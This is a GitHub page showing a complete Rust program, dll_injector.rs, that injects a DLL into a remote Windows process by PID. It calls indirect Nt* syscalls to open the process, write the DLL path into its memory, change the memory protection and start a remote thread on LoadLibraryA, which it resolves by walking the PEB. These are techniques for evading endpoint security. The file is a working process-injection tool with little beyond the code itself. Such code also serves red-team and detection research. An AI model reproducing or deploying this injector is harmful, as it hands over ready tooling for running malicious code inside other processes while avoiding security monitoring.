-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdll_injector.rs
156 lines (136 loc) · 5.99 KB
/
dll_injector.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#![allow(unused)]
use std::{mem, process};
use std::ffi::c_void;
use std::ops::Not;
use std::os::windows::raw::HANDLE;
use std::path::{Path, PathBuf};
use std::process::exit;
use std::ptr::null;
use winapi::shared::ntdef::OBJECT_ATTRIBUTES;
use winapi::shared::ntstatus::STATUS_SUCCESS;
use winapi::um::winnt::{GENERIC_EXECUTE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS};
use thermite::{debug, error, info};
use thermite::indirect_syscall as syscall;
use thermite::peb_walk::{get_function_address, get_module_handle};
#[repr(C)]
#[derive(Debug, Clone)]
pub struct ClientId {
pub unique_process: HANDLE,
pub unique_thread: HANDLE,
}
/// Read the PID and the DLL Path from the program's command line arguments,
/// if a valid PID and a valid DLL Path is read, it calls the injector function
/// If nothing is found or if the argument cannot be parsed, prints an error and closes the program
fn main() {
// Collect the command line arguments,
// then we quit the program printing the Usage help if we don't have enough
let args: Vec<String> = std::env::args().collect::<Vec<String>>();
if args.len() < 3 {
error!("Usage: dll_injector.exe <PID> <Path to DLL>");
exit(-1);
}
// Parses the PID, again quitting if it fails
let pid: u32 = args[1].parse::<u32>().ok().unwrap_or_else(|| {
error!("Failed to parse target PID");
exit(-1);
});
// Then we parse the DLL path, and quit if we cannot parse it at all.
let binding = args[2].parse::<PathBuf>().ok().unwrap_or_else(|| {
error!("Failed to parse DLL Path");
exit(-1);
});
let dll = binding.as_path();
// We also perform additional checks to make sure the path is correct
if dll.is_file().not()
|| dll.is_absolute().not() {
error!("Please provide an absolute path to your DLL.");
exit(-1);
}
// Run the actual injector
injector(pid, dll.to_str().unwrap());
}
/// This function demonstrate how to inject a DLL in a remote process using direct syscalls
/// Arguments: PID of the target process and the absolute path to the DLL to inject
fn injector(pid: u32, dll_path: &str) {
let oa_process = OBJECT_ATTRIBUTES {
Length: std::mem::size_of::<OBJECT_ATTRIBUTES>() as _,
RootDirectory: 0u32 as _,
ObjectName: 0u32 as _,
Attributes: 0,
SecurityDescriptor: 0u32 as _,
SecurityQualityOfService: 0u32 as _,
};
let mut thread_handle: isize = 0;
let mut process_handle: isize = -1;
let client_id = ClientId {
unique_process: pid as _,
unique_thread: 0 as _,
};
let status = syscall!("NtOpenProcess",
&mut process_handle, // [out] PHANDLE ProcessHandle,
PROCESS_ALL_ACCESS, // [in] ACCESS_MASK DesiredAccess,
&oa_process, // [in] POBJECT_ATTRIBUTES ObjectAttributes,
&client_id); // [in, optional] PCLIENT_ID client_id
if status != STATUS_SUCCESS {
error!("Failed to open remote process {}", status);
exit(status);
}
let mut buf_size: usize = dll_path.len();
let mut base_addr: *mut c_void = 0u32 as _;
let nt_status = syscall!("NtAllocateVirtualMemory",
process_handle, // [in] HANDLE ProcessHandle,
&mut base_addr, // [in, out] PVOID *BaseAddress,
0u32, // [in] PULONG ZeroBits,
&mut buf_size, // [in, out] PSIZE_T RegionSize,
MEM_COMMIT | MEM_RESERVE, // [in] ULONG AllocationType,
PAGE_READWRITE); // [in] ULONG Protect
info!("Allocated {} bytes of memory at address {:#x?}", buf_size, base_addr);
// Copy the DLL Path to newly allocated memory
let mut bytes_written: usize = 0;
syscall!("NtWriteVirtualMemory",
process_handle, // [in] HANDLE ProcessHandle,
base_addr, // [in] PVOID *BaseAddress,
dll_path.as_ptr(), // [in] PVOID buffer,
buf_size, // [in] ULONG NumberOfBytesToWrite,
&mut bytes_written); // [out, optional] PULONG NumberOfBytesWritten ,
info!("Successfully written {} bytes in remote memory", buf_size);
// Change protection status of allocated memory to READ+EXECUTE
// let mut bytes_written = POP_CALC.len();
let mut old_protection = PAGE_READWRITE;
syscall!("NtProtectVirtualMemory",
process_handle, // [in] HANDLE ProcessHandle,
&mut base_addr, // [in, out] PVOID *BaseAddress,
&mut bytes_written, // [in, out] PULONG NumberOfBytesToProtect,
PAGE_EXECUTE_READ, // [in] ULONG NewAccessProtection,
&mut old_protection);// [out] PULONG OldAccessProtection,
let load_library_ptr = unsafe {
let kernel32_ptr = get_module_handle("kernel32.dll").unwrap();
get_function_address("LoadLibraryA", kernel32_ptr).unwrap()
};
// Create a remote thread in target process
let status = syscall!("NtCreateThreadEx",
&mut thread_handle, // [out] PHANDLE ThreadHandle,
GENERIC_EXECUTE, // [in] ACCESS_MASK DesiredAccess,
null::<*mut c_void>(), // [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
process_handle, // [in] HANDLE ProcessHandle,
load_library_ptr, // [in, optional] PVOID StartRoutine,
base_addr, // [in, optional] PVOID Argument,
0, // [in] ULONG CreateFlags,
null::<*mut c_void>(), // [in, optional] ULONG_PTR ZeroBits,
null::<*mut c_void>(), // [in, optional] SIZE_T StackSize,
null::<*mut c_void>(), // [in, optional] SIZE_T MaximumStackSize,
null::<*mut c_void>());// [in, optional] PVOID AttributeList
if status != STATUS_SUCCESS {
error!("Failed to create remote thread {}", status);
exit(status);
}
// Wait for the thread to execute
// Timeout is a null pointer, so we wait indefinitely
syscall!("NtWaitForSingleObject",
thread_handle, // [in] HANDLE handle,
0, // [in] BOOLEAN Alertable,
null::<*mut u64>()); // [in] PLARGE_INTEGER Timeout
// Close the handle
syscall!("NtClose",
thread_handle); // [in] HANDLE handle
}